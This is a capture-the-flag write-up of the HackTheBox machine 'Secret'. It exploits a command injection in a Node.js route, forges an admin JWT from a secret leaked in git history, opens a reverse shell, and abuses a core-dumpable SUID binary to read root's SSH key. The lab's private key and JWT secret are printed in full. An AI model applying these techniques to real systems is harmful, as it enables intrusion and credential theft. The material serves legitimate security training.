Secret is an easy machine on HackTheBox created by z9fr. For the user part we will find the source code of a webapp which reveals a command injection vulnerability. This command injection can only be performed as admin user but with the jwt key in the git history we are able to create our own token. After getting a shell we will abuse a suid binary in two different ways to obtain root’s ssh key.
User
Nmap
As usual we start our enumeration of with a nmap scan against all ports followed by a script and version detection scan to get an initial overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.252.221
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-08 12:44 UTC
Nmap scan report for 10.129.252.221
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 93.07 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nmap -p22,80,3000 -sC -sV 10.129.252.221
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-08 12:46 UTC
Nmap scan report for 10.129.252.221
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.29 seconds
JWT
Going over to port 80 in our web browser we see the documentation of “DUMBDocs”. Scrolling down the page we can also download the source code.
Scrolling down the page we can also download the source code.
Looking at the routes/private.js
we can identify a command injection vulnerability in the /logs
route. To access this feature we however need a valid jwt with the value of theadmin
for the name key.
routes/private.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
Looking at routes/verifytoken.js
we see that the secret is read from the enviroment.
routes/verifytoken.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};
Checking the git history of the project there is an interesting commit stating removed .env for security reasons
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Diffing this commit with the previous one we are able to obtain the jwt token secret.
1
2
3
4
5
6
7
8
9
$ git diff de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
We can now forge our own JWT’s. To do this we first obtain a valid one. Going over to the documentation we can check how to register a new user and perform the request using burp.
Afterwards we can refer to the docs again to log the user in and obtain a JWT.
The docs also show that we can use the Access Private Route functionality to test if we have admin access and a bit further up it is also show how the valid JWT is supposed to look.
We take the obtained JWT and paste it and the secret into jwt.io where we switch the username to theadmin
.
Testing our newly generated JWT against the /priv
route we see that we have obtained admin access.
Now we are able to abuse the command injection in the /logs
route. The page takes a files parameter and directly passes it to a system command. We can use ;
to make sure our command get’s executed and verify the RCE in burp.
Next we set up a ncat listener and send an url encoded reverse shell payload with burp.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
We get a reverse shell back on our listener which we upgrade using python and are able to grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.252.221.
Ncat: Connection from 10.129.252.221:45444.
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ export TERM=xterm
export TERM=xterm
dasith@secret:~/local-web$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
dasith@secret:~/local-web$ stty rows 55 cols 236
dasith@secret:~/local-web$ wc -c ~/user.txt
33 /home/dasith/user.txt
Root
Looking around there is a custom suid binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:~/local-web$ find / -perm -4000 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
...[snip]...
The same directory also seems to contain the source code of the binary.
code.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\\nUnable to open directory.\\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\\t%s\\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\\nRegular files = %d\\nDirectories = %d\\nSymbolic links = %d\\n", tot, regular_files, directories, symlinks);
printf("\\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\\nUnable to open file.\\n");
printf("Please check if file exists and you have read privilege.\\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\\n' || ch == '\\0')
lines++;
if (ch == ' ' || ch == '\\t' || ch == '\\n' || ch == '\\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\\nTotal words = %d\\nTotal lines = %d\\n", characters, words, lines);
printf("\\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\\n", path);
}
}
return 0;
}
Running /opt/count
it prints the same message as in the source so it seems highly likely that the binary got compiled from it.
1
2
dasith@secret:~$ /opt/count
Enter source file/directory name:
The executable takes a filename as input reads the content of that file outputs a statistical summary and then asks if you want to safe the summary to disk. The interesting thing is the prctl(PR_SET_DUMPABLE, 1);
which enables us to access the process content.
Coredump
One way to go about this is to dump the process and then read the contents of the file from the dump. For this to work /proc/sys/fs/suid_dumpable
has to be set to 2 which it indeed is.
1
2
dasith@secret:~$ cat /proc/sys/fs/suid_dumpable
2
Looking at /proc/sys/kernel/core_pattern
we see that the dump wil get piped to /usr/share/apport/apport
for further processing.
1
2
dasith@secret:~$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
With this knowledge we can now run the binary and check if root’s private ssh key exists. This is indeed the case meaning the key is now inside the processe’s memory. All that is left to do now is to send a signal to the process that triggers a core dump. One possible way here is SIGQUIT which can be sent with CTRL + \
.
1
2
3
4
5
6
7
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^\\Quit (core dumped)
To find the dump we look in the /var
directory for files that got created in the last minute, which returns /var/lib/apport/coredump/core._opt_count.1000.7541fd7b-4a83-42d7-a1f9-8aec0a5180dd.2214.795094
1
2
3
4
5
dasith@secret:~$ find /var -cmin -1 2>/dev/null
/var/log/apport.log
/var/lib/apport/coredump
/var/lib/apport/coredump/core._opt_count.1000.7541fd7b-4a83-42d7-a1f9-8aec0a5180dd.2214.795094
/var/lib/mongodb/diagnostic.data
This core dump which is owned by us contains root’s ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
dasith@secret:~$ cat /var/lib/apport/coredump/core._opt_count.1000.7541fd7b-4a83-42d7-a1f9-8aec0a5180dd.2214.795094
ELF>@@8
...[snip]...
/root/.ssh/id_rsa
$L3UL3UL3UL3UL3UL3UL3U\\3Uuc2K3UK3Uc2`c2-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----S
...
.viminfo
The other option to obtain the ssh key was to read the .viminfo
file with /opt/count
and then cat the file descriptor. This was the originally intended method but it seems a bit more guessy to me, especially since with normal permission of a .viminfo
file(600
) we wouldn’t even be able to read the file descriptor. To perform the attack we run /opt/count
and specify /root/.viminfo
as the filename.
1
2
3
4
5
6
7
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.viminfo
Total characters = 16370
Total words = 2228
Total lines = 562
Save results a file? [y/N]:
Now we grep for the process id and cat /fd/3
.
1
2
dasith@secret:~$ pgrep -f /opt/count
2410
This also reveals the root users ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
dasith@secret:~$ cat /proc/2410/fd/3
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
...[snip]...
# Registers:
""0 LINE 0
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Now that we have root’s ssh key we just have to set the correct permissions on it, ssh into the machine and add the root flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ vi root
$ chmod 600 root
$ ssh -i root root@10.129.252.221
The authenticity of host '10.129.252.221 (10.129.252.221)' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.252.221' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 08 Nov 2021 03:02:55 PM UTC
System load: 0.07 Processes: 220
Usage of /: 52.6% of 8.79GB Users logged in: 0
Memory usage: 18% IPv4 address for eth0: 10.129.252.221
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# wc -c /root/root.txt
33 /root/root.txt